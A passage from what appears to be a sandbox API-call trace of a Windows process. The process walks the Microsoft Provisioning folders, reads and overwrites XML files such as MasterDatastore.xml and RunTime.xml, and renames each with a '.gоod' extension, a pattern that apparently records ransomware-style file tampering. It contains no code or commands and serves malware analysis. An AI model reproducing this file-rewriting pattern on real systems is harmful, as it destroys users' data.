(lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml.gоod" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml.gоod")) returned 1 [0120.875] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\MasterDatastore.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\MasterDatastore.xml", lpFilePart=0x0) returned 0x60 [0120.875] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0120.875] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\masterdatastore.xml"), fInfoLevelId=0x0, lpFileInformation=0x365b540 | out: lpFileInformation=0x365b540*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x540c24cc, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x540c24cc, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x540c24cc, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f)) returned 1 [0120.875] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0120.875] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\MasterDatastore.xml", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\MasterDatastore.xml", lpFilePart=0x0) returned 0x60 [0120.876] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0120.876] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\masterdatastore.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0120.876] GetFileType (hFile=0x768) returned 0x1 [0120.876] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0120.876] GetFileType (hFile=0x768) returned 0x1 [0120.876] GetFileSize (in: hFile=0x768, lpFileSizeHigh=0x1f9edcd8 | out: lpFileSizeHigh=0x1f9edcd8*=0x0) returned 0x10f [0120.876] ReadFile (in: hFile=0x768, lpBuffer=0x365b978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc08, lpOverlapped=0x0 | out: lpBuffer=0x365b978*, lpNumberOfBytesRead=0x1f9edc08*=0x10f, lpOverlapped=0x0) returned 1 [0121.089] CloseHandle (hObject=0x768) returned 1 [0121.126] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\MasterDatastore.xml", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\MasterDatastore.xml", lpFilePart=0x0) returned 0x60 [0121.126] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0121.126] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\masterdatastore.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0121.127] GetFileType (hFile=0x768) returned 0x1 [0121.127] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0121.128] GetFileType (hFile=0x768) returned 0x1 [0121.128] WriteFile (in: hFile=0x768, lpBuffer=0x34289f8*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x1f9edb18, lpOverlapped=0x0 | out: lpBuffer=0x34289f8*, lpNumberOfBytesWritten=0x1f9edb18*=0x110, lpOverlapped=0x0) returned 1 [0121.128] CloseHandle (hObject=0x768) returned 1 [0121.128] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\MasterDatastore.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\MasterDatastore.xml", lpFilePart=0x0) returned 0x60 [0121.129] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\MasterDatastore.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\MasterDatastore.xml.gоod", lpFilePart=0x0) returned 0x65 [0121.129] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0121.129] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\masterdatastore.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x540c24cc, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x540c24cc, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x44683937, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x110)) returned 1 [0121.129] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0121.129] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\masterdatastore.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\MasterDatastore.xml.gоod" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\masterdatastore.xml.gоod")) returned 1 [0121.424] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed4a0) returned 1 [0121.424] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov", nBufferLength=0x105, lpBuffer=0x1f9ecf40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov", lpFilePart=0x0) returned 0x51 [0121.424] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\*", lpFindFileData=0x1f9ed1c0 | out: lpFindFileData=0x1f9ed1c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x217b4a1a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x217b4a1a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0121.425] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x217b4a1a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x217b4a1a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.425] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x217b4a1a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x217b4a1a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0121.425] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5409c262, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5409c262, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x5409c262, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x257, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0121.425] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0121.425] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0121.425] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3e0) returned 1 [0121.425] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3a0) returned 1 [0121.425] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed4a0) returned 1 [0121.425] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov", nBufferLength=0x105, lpBuffer=0x1f9ecf40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov", lpFilePart=0x0) returned 0x51 [0121.425] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\*", lpFindFileData=0x1f9ed1c0 | out: lpFindFileData=0x1f9ed1c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x217b4a1a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x217b4a1a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0121.426] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x217b4a1a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x217b4a1a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.426] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x217b4a1a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x217b4a1a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0121.426] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5409c262, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5409c262, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x5409c262, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x257, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0121.456] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5409c262, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5409c262, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x5409c262, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x257, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 0 [0121.456] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0121.456] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3e0) returned 1 [0121.456] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3a0) returned 1 [0121.457] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0121.457] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed250) returned 1 [0121.457] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\prov\\runtime.xml"), fInfoLevelId=0x0, lpFileInformation=0x34d8330 | out: lpFileInformation=0x34d8330*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5409c262, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5409c262, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x5409c262, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x257)) returned 1 [0121.457] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed210) returned 1 [0121.457] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1f9ecbe0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0121.457] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed100) returned 1 [0121.457] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\prov\\runtime.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0121.457] GetFileType (hFile=0x7c8) returned 0x1 [0121.457] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed070) returned 1 [0121.457] GetFileType (hFile=0x7c8) returned 0x1 [0121.458] GetFileSize (in: hFile=0x7c8, lpFileSizeHigh=0x1f9ed2a8 | out: lpFileSizeHigh=0x1f9ed2a8*=0x0) returned 0x257 [0121.458] ReadFile (in: hFile=0x7c8, lpBuffer=0x34d8880, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ed1d8, lpOverlapped=0x0 | out: lpBuffer=0x34d8880*, lpNumberOfBytesRead=0x1f9ed1d8*=0x257, lpOverlapped=0x0) returned 1 [0121.458] CloseHandle (hObject=0x7c8) returned 1 [0121.488] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1f9ecbe0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0121.488] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed100) returned 1 [0121.488] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\prov\\runtime.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0121.586] GetFileType (hFile=0x6e0) returned 0x1 [0121.586] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed070) returned 1 [0121.586] GetFileType (hFile=0x6e0) returned 0x1 [0122.396] WriteFile (in: hFile=0x6e0, lpBuffer=0x357dbb8*, nNumberOfBytesToWrite=0x260, lpNumberOfBytesWritten=0x1f9ed0e8, lpOverlapped=0x0 | out: lpBuffer=0x357dbb8*, lpNumberOfBytesWritten=0x1f9ed0e8*=0x260, lpOverlapped=0x0) returned 1 [0122.494] CloseHandle (hObject=0x6e0) returned 1 [0122.494] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0122.494] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime.xml.gоod", lpFilePart=0x0) returned 0x62 [0122.494] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed210) returned 1 [0122.494] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\prov\\runtime.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f9ed2f0 | out: lpFileInformation=0x1f9ed2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5409c262, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5409c262, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x453a09cb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x260)) returned 1 [0122.494] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed1d0) returned 1 [0122.494] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\prov\\runtime.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime.xml.gоod" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\prov\\runtime.xml.gоod")) returned 1 [0122.500] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eca70) returned 1 [0122.500] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime", nBufferLength=0x105, lpBuffer=0x1f9ec510, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime", lpFilePart=0x0) returned 0x59 [0122.500] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\*", lpFindFileData=0x1f9ec790 | out: lpFindFileData=0x1f9ec790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x217b4a1a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x217b4a1a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0122.501] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x217b4a1a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x217b4a1a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.501] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54075ff8, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x54075ff8, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x5409c262, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Policy.provxml", cAlternateFileName="0__POW~1.PRO")) returned 1 [0122.501] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5409c262, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5409c262, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x5409c262, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x905, dwReserved0=0x0, dwReserved1=0x0, cFileName="1__Power_Policy.provxml", cAlternateFileName="1__POW~1.PRO")) returned 1 [0122.501] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0122.502] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0122.502] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ec9b0) returned 1 [0122.502] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ec970) returned 1 [0122.502] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eca70) returned 1 [0122.502] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime", nBufferLength=0x105, lpBuffer=0x1f9ec510, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime", lpFilePart=0x0) returned 0x59 [0122.502] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\*", lpFindFileData=0x1f9ec790 | out: lpFindFileData=0x1f9ec790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x217b4a1a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x217b4a1a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0122.502] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x217b4a1a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x217b4a1a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.502] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54075ff8, 